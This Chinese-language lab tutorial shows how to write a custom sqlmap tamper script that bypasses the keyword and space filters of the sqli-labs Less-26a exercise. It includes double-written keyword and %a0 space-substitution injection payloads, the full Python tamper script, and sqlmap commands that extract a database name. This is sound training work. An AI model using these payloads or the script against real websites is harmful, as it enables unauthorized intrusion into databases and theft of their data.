修改sqlmap-Tamper脚本

修改sqlmap-Tamper脚本

1 sqlmap官网

https://sqlmap.org/
1

2 sql注入漏洞注入尝试

1. --+

2. %23 --》代表# 

3. 尝试宽字节注入

4. 尝试id=2' and '1   # 返回发现and消失

5.使用双写：id=2' aANDnd '1   #发现空格过滤

6.使用双写：id=2'+aANDnd+'1  # 发现+号也被过滤掉

7. 代替空格：id=2'%20aANDnd%20'1  #空格被过滤，使用代替16进制 --》%20,发现也被过滤

8. 使用注释： id=2'/*--*/aANDnd/**--**/'1

9.可以使用空格代替字符，(%09, %0A,  %0d, %0c, %a0) 

10. id=2'%a0aANDnd%a0'1   # 测试可以使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

3 环境：sqli-labs/Less-26a/

3.1 尝试宽字节注入:

例如"%c0%af"，来欺骗应用程序。这些编码的特殊字符在某些情况下会被解析为斜杠（/），从而绕过应用程序的输入验证过程
1

3.2 sqlmap使用

~\tools\sqlmap

python  .\sqlmap.py -u "http://10.4.7.130/sqli-labs/less-26/?id=1"

发现没有跑出来
1
2
3
4
5

3.3准备修改sqlmap使用

find / -name "*sqlmap*"   
/usr/share/sqlmap  # 发现sqlmap在此文件中
1
2

4 sqlmap中-tamper工厂（输入输出）

4.1 参考文章：sqlmap,Tamper详解及使用指南

SQLMap是一款SQL注入神器，可以通过tamper对注入payload 进行编码和变形，以达到绕过某些限制的
目的。但是有些时候，SQLMap自带的Tamper脚本并不是特别好用，需要根据实际情况定制Tamper脚本。
sqlmap,Tamper详解及使用指南
1
2
3

tamper
cp -R tamper tamper.bak  #备份复制模版
1
2

4.2 sqlmap,Tamper详解及使用指南

4.3 使用root权限使用vscode

cd /usr/share/code/bin/

sudo ./code # 如果打不开提示加参数，如下

sudo ./code --no-sandbox --user-data-dir /tmp 
1
2
3
4
5

4.4 选择复制Oeunion.py一个模版，进行编写

4.5 使用replace方法替换

1.用replace方法
python
m="welcome, test"
m.replace("test", '')
'welcome, '  # 打印
1
2
3
4
5

4.6 re.sub（”搜索的内容“，“替换的内容”，变量）

# 使用正则替换：
m = "welcome,test"
import re
re.sub(r"test","tiihuan",m) # 第一个搜索值。第二个替换值，第三个上搜索资源或变量
'wlcome,tihuan'   #打印内容
1
2
3
4
5

4.7 定义文件 sqli-label_26.py

cd  /usr/share/sqlmap/temper  # 路径
1

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    
    """
    payload = re.sub(r"#", " and '1", payload) 
    payload = re.sub(r"and", "aANDnd", payload) # 如果忽略大小写加（?i）-r"(?i)and"
    payload = re.sub(r"or", "oORr", payload)
    payload = re.sub(r" ", "%A0", payload)

    return payload                                      
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

4.8 sqlmap使用参数大全

参考指令大全

5 执行编写的脚本

sqlmap.py --help  # 查看帮助

--version：显示当前sqlmap的版本号

-h：显示帮助信息

-hh：显示详细的帮助信息

-v VERBOSE：详细级别，VERBOSE为数字，默认为

1
2
3
4
5
6
7
8
9
10

1. 常规执行
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  

2. 加参数指定注入手法，进行排错
--technique  U    # BEUSTQ中的U执行联合查询
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --technique  U
1
2
3
4
5
6
7
8

5.1 发现没有被替换，搜索只能搜索到小写or，忽略大小写匹配(?i)

5.2 修改文件 sqli-label_26.py ，忽略大小写

 payload = re.sub(r"#", " and '1", payload)
 payload = re.sub(r"(?i)and", "aANDnd", payload)
 payload = re.sub(r"(?i)or", "oORr", payload)
 payload = re.sub(r" ", "%A0", payload)
1
2
3
4

5.3 执行后，已经被替换，没有检测出联合查询漏洞，去掉指定检测手法

5.4 最终重新执行

┌──(kali💋kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=4" -v3 --tamper sqli-label_26.py 
1
2

5.5 发现漏洞检测点

5.6 破解当前数据库名

┌──(kali💋kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --current-db
1
2